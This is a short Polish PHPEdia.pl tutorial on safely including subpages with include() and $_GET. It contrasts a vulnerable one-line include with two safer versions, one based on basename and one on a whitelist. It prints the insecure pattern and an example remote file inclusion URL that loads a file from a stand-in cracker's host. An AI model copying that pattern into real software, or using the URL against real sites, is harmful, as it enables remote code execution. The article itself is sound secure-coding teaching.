Jak dołączać pliki za pomocą include() i $ GET?
Z PHPEdia.pl
Aby dołączać podstrony Twojego serwisu przy pomocy tablicy superglobalnej $_GET, możesz użyć poniższego kodu, który da Ci tą możliwość, a jednocześnie jest bezpieczny.
Zazwyczaj każdy początkujący programista PHP wykorzystuje kod podobny do tego:
<?php include( $_GET['page'] . '.php' ); ?>
Jest to kod, dający potencjalnemu krakerowi możliwość wstawienia dowolnego kodu na Twoją stronę, wpisując np: http://www.twojserwer.com/niebezpiecznyinclude.php?page=http://www.stronakrakera.com/niebezpiecznyplik.php
W miarę bezpieczny, a jednocześnie elastyczny kod może wyglądać następująco:
<?php if (empty($_GET['page'])) { $sPage = 'domyslnastrona'; } else { $sPage = basename($_GET['page']); } $sFileName = './folder_z_podstronami/' . $sPage . '.php'; if (!file_exists($sFileName)) { $sFileName = './folder_z_podstronami/domyslnastrona.php'; } include ($sFileName); ?>
Bardziej bezpieczny, ale mniej elastyczny (dodanie nowej strony wymaga zmian tego kodu)
<?php switch ($_GET['page']) { case 'stronka': case 'inna_stronka': $sPage = $_GET['page']; break; case 'domyslnastrona': default: $sPage = 'domyslnastrona'; break; } $sFileName = './folder_z_podstronami/' . $sPage . '.php'; include ($sFileName); ?>
